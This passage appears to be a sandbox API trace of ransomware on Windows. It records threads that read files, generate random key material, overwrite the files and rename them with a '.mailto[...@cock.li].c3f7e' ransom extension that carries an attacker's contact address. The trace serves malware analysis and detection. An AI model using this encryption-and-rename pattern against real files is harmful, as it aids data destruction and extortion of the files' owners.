	[0086.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c40
	[0086.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb150
	[0086.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0086.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0086.433] ReadFile (in: hFile=0x1908, lpBuffer=0x504b048, nNumberOfBytesToRead=0xa33, lpNumberOfBytesRead=0x29bbf96c, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesRead=0x29bbf96c*=0xa33, lpOverlapped=0x0) returned 1
	[0086.434] SetFilePointerEx (in: hFile=0x1908, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.434] WriteFile (in: hFile=0x1908, lpBuffer=0x4f9afc8*, nNumberOfBytesToWrite=0xa33, lpNumberOfBytesWritten=0x29bbf968, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesWritten=0x29bbf968*=0xa33, lpOverlapped=0x0) returned 1
	[0086.435] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478f8
	[0086.435] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478a8
	[0086.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0086.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0086.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0086.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.436] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb150) returned 1
	[0086.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47a60
	[0086.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c68
	[0086.436] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0086.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e477e0
	[0086.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c68
	[0086.436] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0086.436] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.436] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x500d048
	[0086.436] SetFilePointerEx (in: hFile=0x1908, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.436] WriteFile (in: hFile=0x1908, lpBuffer=0x500d048*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x29bbf9d0, lpOverlapped=0x0 | out: lpBuffer=0x500d048*, lpNumberOfBytesWritten=0x29bbf9d0*=0x101, lpOverlapped=0x0) returned 1
	[0086.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d048) returned 1
	[0086.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0086.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0086.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0086.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47880) returned 1
	[0086.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c40) returned 1
	[0086.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x49867b8
	[0086.437] wcscpy (in: _Dest=0x49867b8, _Source="C:\\Windows10Upgrade\\resources\\ux\\logo.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\logo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\logo.png"
	[0086.437] wcscat (in: _Dest=0x49867b8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.438] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x29bbf988, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.438] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481af40
	[0086.438] NtSetInformationFile (FileHandle=0x1908, IoStatusBlock=0x29bbf980, FileInformation=0x481af40, Length=0xb0, FileInformationClass=0xa) returned 0x0
	[0086.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481af40) returned 1
	[0086.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d408) returned 1
	[0086.439] NtQueryInformationFile (in: FileHandle=0x1908, IoStatusBlock=0x29bbf994, FileInformation=0x29bbf96c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29bbf994, FileInformation=0x29bbf96c) returned 0x0
	[0086.439] NtSetInformationFile (FileHandle=0x1908, IoStatusBlock=0x29bbf994, FileInformation=0x29bbf96c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49867b8) returned 1
	[0086.440] FlushFileBuffers (hFile=0x1908) returned 1
	[0093.101] CloseHandle (hObject=0x1908) 

Thread:
	id = 1195
	os_tid = 0x1f20

	[0086.435] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png")) returned 0x20
	[0086.440] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png", dwFileAttributes=0x20) returned 1
	[0086.441] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x190c
	[0086.441] GetFileSizeEx (in: hFile=0x190c, lpFileSize=0x29c3f75c | out: lpFileSize=0x29c3f75c*=493) returned 1
	[0086.441] SetFilePointerEx (in: hFile=0x190c, liDistanceToMove=0x1e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.441] ReadFile (in: hFile=0x190c, lpBuffer=0x29c3f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29c3f6dc, lpOverlapped=0x0 | out: lpBuffer=0x29c3f6e0*, lpNumberOfBytesRead=0x29c3f6dc*=0x4, lpOverlapped=0x0) returned 1
	[0086.442] SetFilePointerEx (in: hFile=0x190c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47cb8
	[0086.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.442] NtQuerySystemTime (in: CurrentTime=0x29c3f6bc | out: CurrentTime=0x29c3f6bc*=132251868131787979) returned 0x0
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x5fde35c0
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x94c75cfe
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x6d4fbe80
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x64bc38ca
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x9af6c0
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x17db9359
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x9ff28753
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x16edbee4
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x2c2506a2
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0xc7097dc6
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x114bb85e
	[0086.442] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x5a424c00
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x1174fdc3
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x6af5d87f
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x399d84ea
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0xc7ea0c39
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x13c12334
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x4a2622ec
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0xa450b4d5
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0xed42ede9
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x6df14b1b
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0xb2b8df71
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0xd058885
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x9d52d2fd
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0xd4bb72aa
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x44d0e66c
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0xa5c0e950
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0xe1d5d27e
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x74d87d42
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x7cff346
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x9f3d07e2
	[0086.443] RtlRandom (in: Seed=0x29c3f6c8 | out: Seed=0x29c3f6c8) returned 0x27cefb8c
	[0086.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47880
	[0086.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c40
	[0086.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb150
	[0086.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.452] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0086.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0086.452] ReadFile (in: hFile=0x190c, lpBuffer=0x504b048, nNumberOfBytesToRead=0x1ed, lpNumberOfBytesRead=0x29c3f6b8, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesRead=0x29c3f6b8*=0x1ed, lpOverlapped=0x0) returned 1
	[0086.452] SetFilePointerEx (in: hFile=0x190c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.452] WriteFile (hFile=0x190c, lpBuffer=0x4f9afc8, nNumberOfBytesToWrite=0x1ed, lpNumberOfBytesWritten=0x29c3f6b4, lpOverlapped=0x0) 

Thread:
	id = 1196
	os_tid = 0x1f24

	[0086.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ecf80
	[0086.453] wcscpy (in: _Dest=0x47ecf80, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS"
	[0086.453] wcscat (in: _Dest=0x47ecf80, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\"
	[0086.453] wcscat (in: _Dest=0x47ecf80, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*"
	[0086.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f277b0
	[0086.453] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*", lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a868
	[0086.453] wcscmp (_String1=".", _String2=".") returned 0
	[0086.453] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.453] wcscmp (_String1="..", _String2=".") returned 1
	[0086.453] wcscmp (_String1="..", _String2="..") returned 0
	[0086.453] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0086.453] wcscmp (_String1="css", _String2=".") returned 1
	[0086.453] wcscmp (_String1="css", _String2="..") returned 1
	[0086.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e045b8
	[0086.453] wcscpy (in: _Dest=0x2e045b8, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS"
	[0086.453] wcscat (in: _Dest=0x2e045b8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\"
	[0086.453] wcscat (in: _Dest=0x2e045b8, _Source="css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css"
	[0086.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e045b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1924
	[0086.944] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0086.944] wcscmp (_String1="js", _String2=".") returned 1
	[0086.944] wcscmp (_String1="js", _String2="..") returned 1
	[0086.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47eca40
	[0086.944] wcscpy (in: _Dest=0x47eca40, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS"
	[0086.944] wcscat (in: _Dest=0x47eca40, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\"
	[0086.944] wcscat (in: _Dest=0x47eca40, _Source="js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js"
	[0086.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47eca40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1978
	[0086.944] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0086.944] FindClose (in: hFindFile=0x477a868 | out: hFindFile=0x477a868) returned 1
	[0086.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f277b0) returned 1
	[0086.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecf80) returned 1
	[0086.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec8f0) returned 1

Thread:
	id = 1197
	os_tid = 0x1f28

	[0086.454] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht")) returned 0x20
	[0086.454] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht", dwFileAttributes=0x20) returned 1
	[0086.455] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1914
	[0086.455] GetFileSizeEx (in: hFile=0x1914, lpFileSize=0x29d3f98c | out: lpFileSize=0x29d3f98c*=622093) returned 1
	[0086.455] SetFilePointerEx (in: hFile=0x1914, liDistanceToMove=0x97e09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.455] ReadFile (in: hFile=0x1914, lpBuffer=0x29d3f910, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29d3f90c, lpOverlapped=0x0 | out: lpBuffer=0x29d3f910*, lpNumberOfBytesRead=0x29d3f90c*=0x4, lpOverlapped=0x0) returned 1
	[0086.456] SetFilePointerEx (in: hFile=0x1914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0086.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.456] NtQuerySystemTime (in: CurrentTime=0x29d3f8ec | out: CurrentTime=0x29d3f8ec*=132251868131944850) returned 0x0
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x4b864a14
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0xd8cf53d3
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x7f307cd
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x79eb8ea4
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0xb7846409
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x604d1305
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x8ab74a62
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0xc16186dd
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x73564b10
	[0086.456] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0xd5d9bda1
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x72cc3b8a
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x7a6307fe
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0xb0937523
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x7b5d6d2f
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x632fac9d
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0xf76f5028
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0xda62d12
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x74de5c49
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x6754da7e
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x11035fa5
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x132eca63
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x6fd2f68d
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x312eb3f7
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x96815d0
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x7a6a8aca
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x76a8dd66
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x83eb90d4
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x14fec50e
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0xd6e19b2b
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x65b837f3
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x32597837
	[0086.457] RtlRandom (in: Seed=0x29d3f8f8 | out: Seed=0x29d3f8f8) returned 0x352f842a
	[0086.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478a8
	[0086.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e046a8
	[0086.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c68
	[0086.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0086.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fa77d0
	[0086.466] SetFilePointerEx (in: hFile=0x1914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
